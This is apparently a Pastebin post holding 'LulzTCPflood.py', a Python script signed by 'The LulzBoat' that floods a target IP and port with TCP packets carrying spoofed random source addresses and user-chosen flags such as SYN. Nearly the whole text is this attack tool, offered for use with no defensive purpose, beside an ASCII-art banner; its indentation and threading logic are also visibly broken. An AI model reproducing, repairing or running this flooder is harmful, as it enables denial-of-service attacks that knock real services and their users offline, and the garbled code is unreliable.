Advertisement
baphomet1488

LulzTCPflood.py

Jul 2nd, 2017
451
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.63 KB | None | 0 0
  1. #!/usr/bin/env python
  2. ############################################
  3. # LulzTCPflood                             #
  4. # A multithreaded multiprocess TCP Flooder #
  5. # By:The LulzBoat                          #
  6. #                                          #
  7. ############################################
  8. import socket, random, sys, threading, multiprocessing
  9. from scapy.all import *
  10.  
  11.  
  12. if len(sys.argv) != 6:
  13.     print "Usage: %s <Target IP> <Port> <TCP Flag> <Number of Threads> <Number of Processes>" % sys.argv[0]
  14.     sys.exit(1)
  15.  
  16. target = sys.argv[1]
  17. port = int(sys.argv[2])
  18. flag = sys.argv[3] #Valid TCP Flags are S for SYN, A for ACK, F for FIN, R for RST
  19. rthread = int(sys.argv[4]) #You Don't Seem to Need a Ton of Threads Since This is Multi-processed
  20. multi = int(sys.argv[5]) #Number of Processes Should not exceed The Number of Cores in Your Computer
  21.  
  22. conf.iface='wlan0';#This is Your Network Card Change as is Appropriate
  23. total = 0
  24.  
  25. def goodbye():
  26.     sys.exit("\n" + "*" *43 + "\n\nBye! Come use me again!\n\n" + "*" *43 + "")
  27.    
  28.  
  29. print"""
  30.                _.--| LuLz|:                    
  31.               <____|.----||                    
  32.                      .---''---,                
  33.   The                 ;..__..'    _...        
  34.    Lulz            , '/  ||/..--''    \      
  35.     Boat         ,'_ /'.-||            :      
  36.      2017   _..-' ''/    ||  \   \  _|/|    
  37.           \       /-._;/||   \   \,;'   \  
  38.           ,\     /    /`||    \  //    `:`.  
  39.         ,'  \   /-._;/  ||    : ::    ,.   .
  40.       ,'     \ /    /`-.||    | || ' :  `.`.)
  41.    _,'        |;._: /|  ;||    | `|   :    `'
  42.  ,'   `.      /    /`-:_/||    |  |  : \    
  43.  `--.   )    /'-._/    /:||       |   \ \    
  44.     /  /    /'_  /;`-./_;||__..--';    : :    
  45.    /  (    /  -./_  _/  .||'o |   /     ' |    
  46.   /  , \._/_/_./--''/_  /||___|_,'      | |    
  47.  :  /   `'-'--'----'---------'          / |    
  48.  | :     O ._O   O_. O ._O   O_.       ; ;    
  49.  : `.      //    //    //    //       /    
  50. ~~~`.______//____//____//____//_______ ,'~~    
  51.          //    //~   //    // ~ ~ ~ ~~~~    
  52.   ~~   _//   _//   _// ~ _//    ~  ~ ~ ~    
  53. ~     / /   / /   / /   / /  ~      ~~      
  54.      ~~~   ~~~   ~~~   ~~~                  
  55.                                   Setting Sail to the horizon.
  56.                                          Yours Truly.
  57.                                        LulzSecurity2017
  58.                                           Lulz Zombie  """
  59.  
  60.                    
  61. class sendTCP(threading.Thread):
  62.  
  63.     def __init__(self):
  64.         threading.Thread.__init__(self)
  65.    
  66.     def threading(self):
  67.             threading.thread = rthread
  68.             threading.thread(target=run)
  69.             rthread.start()
  70.             rthread.join()
  71.  
  72.     def run(self):
  73.             global total
  74.             while True:
  75.                total = total + 1
  76.                ip = IP()
  77.            ip.src = "%i.%i.%i.%i" % (random.randint(11,126),random.randint(1,254),random.randint(1,254),random.randint(1,254))
  78.            ip.dst = target
  79.            t = TCP()
  80.            t.sport = random.randint(1,65535)
  81.            t.dport = port
  82.            t.flags = flag
  83.                send(ip/t, verbose=0)
  84.                sys.stdout.write("\r Packets Sended:\t\t\t%i" % total)
  85.                break
  86.  
  87. print "Flooding %s:%i with TCP %s packets." % (target, port, flag)
  88.  
  89. if __name__ == "__main__":
  90.     while True:
  91.                   try:
  92.                      sendTCP().start()
  93.                      multi = multiprocessing.Process(target=sendTCP)
  94.                      multi.start()
  95.                      multi.join()
  96.  
  97.                   except KeyboardInterrupt:
  98.                       goodbye()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement